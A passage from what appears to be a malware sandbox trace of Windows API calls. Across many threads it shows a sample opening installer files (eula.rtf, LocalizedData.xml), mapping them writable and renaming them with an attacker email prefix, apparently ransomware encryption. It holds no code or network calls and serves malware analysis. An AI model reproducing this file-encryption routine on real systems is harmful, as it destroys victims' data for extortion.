	[0079.586] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x408
	[0079.586] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=7567) returned 1
	[0079.586] CreateFileMappingA (hFile=0x408, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d9d, lpName=0x0) returned 0x40c
	[0079.586] MapViewOfFile (hFileMappingObject=0x40c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2f10000
	[0079.589] UnmapViewOfFile (lpBaseAddress=0x2f10000) returned 1
	[0079.590] CloseHandle (hObject=0x40c) returned 1
	[0079.590] GetCurrentThreadId () returned 0x258
	[0079.590] FlushFileBuffers (hFile=0x408) returned 1
	[0079.599] CloseHandle (hObject=0x408) returned 1
	[0079.601] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1025\\coronaVi2022@protonmail.ch___eula.rtf") returned 64
	[0079.601] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1025\\coronaVi2022@protonmail.ch___eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\coronavi2022@protonmail.ch___eula.rtf")) returned 1
	[0079.602] free (_Block=0x45d920) 
	[0079.602] RtlExitUserThread (Status=0x0) 

Thread:
	id = 76
	os_tid = 0xe50

	[0079.690] _alloca_probe () returned 0x40328a
	[0079.690] GetCurrentThreadId () returned 0xe50
	[0079.690] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml", dwFileAttributes=0x80) returned 1
	[0079.691] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x40c
	[0079.691] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=74214) returned 1
	[0079.691] CreateFileMappingA (hFile=0x40c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x121eb, lpName=0x0) returned 0x410
	[0079.692] MapViewOfFile (hFileMappingObject=0x410, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0079.707] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0079.707] CloseHandle (hObject=0x410) returned 1
	[0079.707] GetCurrentThreadId () returned 0xe50
	[0079.707] FlushFileBuffers (hFile=0x40c) returned 1
	[0080.004] CloseHandle (hObject=0x40c) returned 1
	[0080.007] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1025\\coronaVi2022@protonmail.ch___LocalizedData.xml") returned 73
	[0080.007] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1025\\coronaVi2022@protonmail.ch___LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\coronavi2022@protonmail.ch___localizeddata.xml")) returned 1
	[0080.008] free (_Block=0x2f10048) 
	[0080.008] RtlExitUserThread (Status=0x0) 

Thread:
	id = 77
	os_tid = 0x710

	[0079.722] _alloca_probe () returned 0x40328a
	[0079.723] GetCurrentThreadId () returned 0x710
	[0079.723] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf", dwFileAttributes=0x80) returned 1
	[0079.723] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x414
	[0079.723] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=6309) returned 1
	[0079.723] CreateFileMappingA (hFile=0x414, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18a9, lpName=0x0) returned 0x418
	[0079.723] MapViewOfFile (hFileMappingObject=0x418, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3290000
	[0079.725] UnmapViewOfFile (lpBaseAddress=0x3290000) returned 1
	[0079.725] CloseHandle (hObject=0x418) returned 1
	[0079.725] GetCurrentThreadId () returned 0x710
	[0079.725] FlushFileBuffers (hFile=0x414) returned 1
	[0079.728] CloseHandle (hObject=0x414) returned 1
	[0079.730] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1028\\coronaVi2022@protonmail.ch___eula.rtf") returned 64
	[0079.730] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1028\\coronaVi2022@protonmail.ch___eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\coronavi2022@protonmail.ch___eula.rtf")) returned 1
	[0079.730] free (_Block=0x2f11050) 
	[0079.730] RtlExitUserThread (Status=0x0) 

Thread:
	id = 80
	os_tid = 0xbdc

	[0079.820] _alloca_probe () returned 0x40328a
	[0079.820] GetCurrentThreadId () returned 0xbdc
	[0079.820] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml", dwFileAttributes=0x80) returned 1
	[0079.821] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x418
	[0079.821] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=60816) returned 1
	[0079.821] CreateFileMappingA (hFile=0x418, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xed90, lpName=0x0) returned 0x41c
	[0079.822] MapViewOfFile (hFileMappingObject=0x41c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3290000
	[0079.834] UnmapViewOfFile (lpBaseAddress=0x3290000) returned 1
	[0079.835] CloseHandle (hObject=0x41c) returned 1
	[0079.835] GetCurrentThreadId () returned 0xbdc
	[0079.835] FlushFileBuffers (hFile=0x418) returned 1
	[0080.088] CloseHandle (hObject=0x418) returned 1
	[0080.092] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1028\\coronaVi2022@protonmail.ch___LocalizedData.xml") returned 73
	[0080.092] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1028\\coronaVi2022@protonmail.ch___LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\coronavi2022@protonmail.ch___localizeddata.xml")) returned 1
	[0080.092] free (_Block=0x2f11050) 
	[0080.092] RtlExitUserThread (Status=0x0) 

Thread:
	id = 82
	os_tid = 0x428

	[0079.849] _alloca_probe () returned 0x40328a
	[0079.850] GetCurrentThreadId () returned 0x428
	[0079.850] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf", dwFileAttributes=0x80) returned 1
	[0079.850] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x420
	[0079.850] GetFileSizeEx (in: hFile=0x420, lpFileSize=0x33cff5c | out: lpFileSize=0x33cff5c*=3726) returned 1
	[0079.850] CreateFileMappingA (hFile=0x420, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe9b, lpName=0x0) returned 0x424
	[0079.851] MapViewOfFile (hFileMappingObject=0x424, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x33d0000
	[0079.852] UnmapViewOfFile (lpBaseAddress=0x33d0000) returned 1
	[0079.852] CloseHandle (hObject=0x424) returned 1
	[0079.852] GetCurrentThreadId () returned 0x428
	[0079.852] FlushFileBuffers (hFile=0x420) returned 1
	[0080.114] CloseHandle (hObject=0x420) returned 1
	[0080.116] _swprintf (in: param_1=0x33c9f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1029\\coronaVi2022@protonmail.ch___eula.rtf") returned 64
	[0080.116] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1029\\coronaVi2022@protonmail.ch___eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\coronavi2022@protonmail.ch___eula.rtf")) returned 1
	[0080.116] free (_Block=0x2f13060) 
	[0080.116] RtlExitUserThread (Status=0x0) 

Thread:
	id = 83
	os_tid = 0x168

	[0079.856] _alloca_probe () returned 0x40328a
	[0079.856] GetCurrentThreadId () returned 0x168
	[0079.856] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml", dwFileAttributes=0x80) returned 1
	[0079.857] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x428
	[0079.857] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x350ff5c | out: lpFileSize=0x350ff5c*=80970) returned 1
	[0079.857] CreateFileMappingA (hFile=0x428, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13c53, lpName=0x0) returned 0x42c
	[0079.857] MapViewOfFile (hFileMappingObject=0x42c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3510000
	[0079.873] UnmapViewOfFile (lpBaseAddress=0x3510000) returned 1
	[0079.874] CloseHandle (hObject=0x42c) returned 1
	[0079.874] GetCurrentThreadId () returned 0x168
	[0079.874] FlushFileBuffers (hFile=0x428) returned 1
	[0080.103] CloseHandle (hObject=0x428) returned 1
	[0080.107] _swprintf (in: param_1=0x3509f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1029\\coronaVi2022@protonmail.ch___LocalizedData.xml") returned 73
	[0080.107] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1029\\coronaVi2022@protonmail.ch___LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\coronavi2022@protonmail.ch___localizeddata.xml")) returned 1
	[0080.107] free (_Block=0x2f14068) 
	[0080.107] RtlExitUserThread (Status=0x0) 

Thread:
	id = 84
	os_tid = 0xeb4

	[0079.889] _alloca_probe () returned 0x40328a
	[0079.890] GetCurrentThreadId () returned 0xeb4
	[0079.890] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf", dwFileAttributes=0x80) returned 1
	[0079.890] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x430
	[0079.890] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x364ff5c | out: lpFileSize=0x364ff5c*=3314) returned 1
	[0079.890] CreateFileMappingA (hFile=0x430, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcf3, lpName=0x0) returned 0x434
	[0079.890] MapViewOfFile (hFileMappingObject=0x434, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3650000
	[0079.891] UnmapViewOfFile (lpBaseAddress=0x3650000) returned 1
	[0079.891] CloseHandle (hObject=0x434) returned 1
	[0079.891] GetCurrentThreadId () returned 0xeb4
	[0079.891] FlushFileBuffers (hFile=0x430) returned 1
	[0079.902] CloseHandle (hObject=0x430) returned 1
	[0079.904] _swprintf (in: param_1=0x3649f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1030\\coronaVi2022@protonmail.ch___eula.rtf") returned 64
	[0079.904] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1030\\coronaVi2022@protonmail.ch___eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\coronavi2022@protonmail.ch___eula.rtf")) returned 1
	[0079.905] free (_Block=0x2f16298) 
	[0079.905] RtlExitUserThread (Status=0x0) 

Thread:
	id = 85
	os_tid = 0xec0

	[0079.907] _alloca_probe () returned 0x40328a
	[0079.907] GetCurrentThreadId () returned 0xec0
	[0079.907] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml", dwFileAttributes=0x80) returned 1
	[0079.907] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x434
	[0079.908] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x364ff5c | out: lpFileSize=0x364ff5c*=77748) returned 1
	[0079.908] CreateFileMappingA (hFile=0x434, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12fb7, lpName=0x0) returned 0x438
	[0079.908] MapViewOfFile (hFileMappingObject=0x438, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3650000
	[0079.923] UnmapViewOfFile (lpBaseAddress=0x3650000) returned 1
	[0079.924] CloseHandle (hObject=0x438) returned 1
	[0079.924] GetCurrentThreadId () returned 0xec0
	[0079.924] FlushFileBuffers (hFile=0x434) returned 1
	[0080.478] CloseHandle (hObject=0x434) returned 1
	[0080.483] _swprintf (in: param_1=0x3649f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1030\\coronaVi2022@protonmail.ch___LocalizedData.xml") returned 73
	[0080.483] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1030\\coronaVi2022@protonmail.ch___LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\coronavi2022@protonmail.ch___localizeddata.xml")) returned 1
	[0080.484] free (_Block=0x2f16298) 
	[0080.484] RtlExitUserThread (Status=0x0) 

Thread:
	id = 87
	os_tid = 0x1004

	[0080.060] _alloca_probe () returned 0x40328a
	[0080.060] GetCurrentThreadId () returned 0x1004
	[0080.060] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf", dwFileAttributes=0x80) returned 1
	[0080.061] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x438
	[0080.061] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3419) returned 1
	[0080.061] CreateFileMappingA (hFile=0x438, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd65, lpName=0x0) returned 0x43c
	[0080.061] MapViewOfFile (hFileMappingObject=0x43c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3650000
	[0080.062] UnmapViewOfFile (lpBaseAddress=0x3650000) returned 1
	[0080.062] CloseHandle (hObject=0x43c) returned 1
	[0080.062] GetCurrentThreadId () returned 0x1004
	[0080.062] FlushFileBuffers (hFile=0x438) returned 1
	[0080.065] CloseHandle (hObject=0x438) returned 1
	[0080.066] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1031\\coronaVi2022@protonmail.ch___eula.rtf") returned 64
	[0080.066] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1031\\coronaVi2022@protonmail.ch___eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\coronavi2022@protonmail.ch___eula.rtf")) returned 1
	[0080.067] free (_Block=0x2f174c0) 
	[0080.067] RtlExitUserThread (Status=0x0) 

Thread:
	id = 88
	os_tid = 0x53c

	[0080.069] _alloca_probe () returned 0x40328a
	[0080.070] GetCurrentThreadId () returned 0x53c
	[0080.070] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml", dwFileAttributes=0x80) returned 1
	[0080.070] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x43c
	[0080.070] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=82346) returned 1
	[0080.070] CreateFileMappingA (hFile=0x43c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x141b3, lpName=0x0) returned 0x440
	[0080.070] MapViewOfFile (hFileMappingObject=0x440, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3650000
	[0080.111] UnmapViewOfFile (lpBaseAddress=0x3650000) returned 1
	[0080.112] CloseHandle (hObject=0x440) returned 1
	[0080.112] GetCurrentThreadId () returned 0x53c
	[0080.112] FlushFileBuffers (hFile=0x43c) returned 1
	[0080.125] CloseHandle (hObject=0x43c) returned 1
	[0080.128] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1031\\coronaVi2022@protonmail.ch___LocalizedData.xml") returned 73
	[0080.128] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1031\\coronaVi2022@protonmail.ch___LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\coronavi2022@protonmail.ch___localizeddata.xml")) returned 1
	[0080.130] free (_Block=0x2f174c0) 
	[0080.130] RtlExitUserThread (Status=0x0) 

Thread:
	id = 89
	os_tid = 0x760

	[0080.267] _alloca_probe () returned 0x40328a
	[0080.268] GetCurrentThreadId () returned 0x760
	[0080.268] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf", dwFileAttributes=0x80) returned 1
	[0080.269] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x420
	[0080.269] GetFileSizeEx (in: hFile=0x420, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=8876) returned 1
	[0080.269] CreateFileMappingA (hFile=0x420, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x22b7, lpName=0x0) returned 0x440
	[0080.269] MapViewOfFile (hFileMappingObject=0x440, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3010000
	[0080.271] UnmapViewOfFile (lpBaseAddress=0x3010000) returned 1
	[0080.272] CloseHandle (hObject=0x440) returned 1
	[0080.272] GetCurrentThreadId () returned 0x760
	[0080.272] FlushFileBuffers (hFile=0x420) returned 1
	[0080.274] CloseHandle (hObject=0x420) returned 1
	[0080.276] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1032\\coronaVi2022@protonmail.ch___eula.rtf") returned 64
	[0080.277] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1032\\coronaVi2022@protonmail.ch___eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\coronavi2022@protonmail.ch___eula.rtf")) returned 1
	[0080.277] free (_Block=0x2f174c0) 
	[0080.277] RtlExitUserThread (Status=0x0) 

Thread:
	id = 90
	os_tid = 0xf84

	[0080.279] _alloca_probe () returned 0x40328a
	[0080.279] GetCurrentThreadId () returned 0xf84
	[0080.279] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml", dwFileAttributes=0x80) returned 1
	[0080.280] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x440
	[0080.280] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=86284) returned 1
	[0080.280] CreateFileMappingA (hFile=0x440, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15117, lpName=0x0) returned 0x428
	[0080.280] MapViewOfFile (hFileMappingObject=0x428, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3010000
	[0080.296] UnmapViewOfFile (lpBaseAddress=0x3010000) returned 1
	[0080.297] CloseHandle (hObject=0x428) returned 1
	[0080.297] GetCurrentThreadId () returned 0xf84
	[0080.297] FlushFileBuffers (hFile=0x440) returned 1
	[0080.763] CloseHandle (hObject=0x440) returned 1
	[0080.767] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1032\\coronaVi2022@protonmail.ch___LocalizedData.xml") returned 73
	[0080.767] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1032\\coronaVi2022@protonmail.ch___LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\coronavi2022@protonmail.ch___localizeddata.xml")) returned 1
	[0080.767] free (_Block=0x2f13060) 
	[0080.767] RtlExitUserThread (Status=0x0) 

Thread:
	id = 91
	os_tid = 0xfac

	[0080.312] _alloca_probe () returned 0x40328a
	[0080.313] GetCurrentThreadId () returned 0xfac
	[0080.313] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf", dwFileAttributes=0x80) returned 1
	[0080.313] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x418
	[0080.313] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3188) returned 1
	[0080.313] CreateFileMappingA (hFile=0x418, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc77, lpName=0x0) returned 0x444
	[0080.313] MapViewOfFile (hFileMappingObject=0x444, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3290000
	[0080.316] UnmapViewOfFile (lpBaseAddress=0x3290000) returned 1
	[0080.316] CloseHandle (hObject=0x444) returned 1
	[0080.316] GetCurrentThreadId () returned 0xfac
	[0080.316] FlushFileBuffers (hFile=0x418) returned 1
	[0080.318] CloseHandle (hObject=0x418) returned 1
	[0080.320] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1033\\coronaVi2022@protonmail.ch___eula.rtf") returned 64
	[0080.320] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1033\\coronaVi2022@protonmail.ch___eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\coronavi2022@protonmail.ch___eula.rtf")) returned 1
	[0080.321] free (_Block=0x2f174c0) 
	[0080.321] RtlExitUserThread (Status=0x0) 

Thread:
	id = 93
	os_tid = 0xd9c

	[0080.499] _alloca_probe () returned 0x40328a
	[0080.499] GetCurrentThreadId () returned 0xd9c
	[0080.499] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml", dwFileAttributes=0x80) returned 1
	[0080.500] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x418
	[0080.500] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=77232) returned 1
	[0080.500] CreateFileMappingA (hFile=0x418, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12db0, lpName=0x0) returned 0x444
	[0080.501] MapViewOfFile (hFileMappingObject=0x444, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3290000
	[0080.516] UnmapViewOfFile (lpBaseAddress=0x3290000) returned 1
	[0080.517] CloseHandle (hObject=0x444) returned 1
	[0080.517] GetCurrentThreadId () returned 0xd9c
	[0080.517] FlushFileBuffers (hFile=0x418) returned 1
	[0080.773] CloseHandle (hObject=0x418) returned 1
	[0080.776] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1033\\coronaVi2022@protonmail.ch___LocalizedData.xml") returned 73
	[0080.776] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1033\\coronaVi2022@protonmail.ch___LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\coronavi2022@protonmail.ch___localizeddata.xml")) returned 1
	[0080.776] free (_Block=0x2f16298) 
	[0080.776] RtlExitUserThread (Status=0x0) 

Thread:
	id = 94
	os_tid = 0xf6c

	[0080.531] _alloca_probe () returned 0x40328a
	[0080.531] GetCurrentThreadId () returned 0xf6c
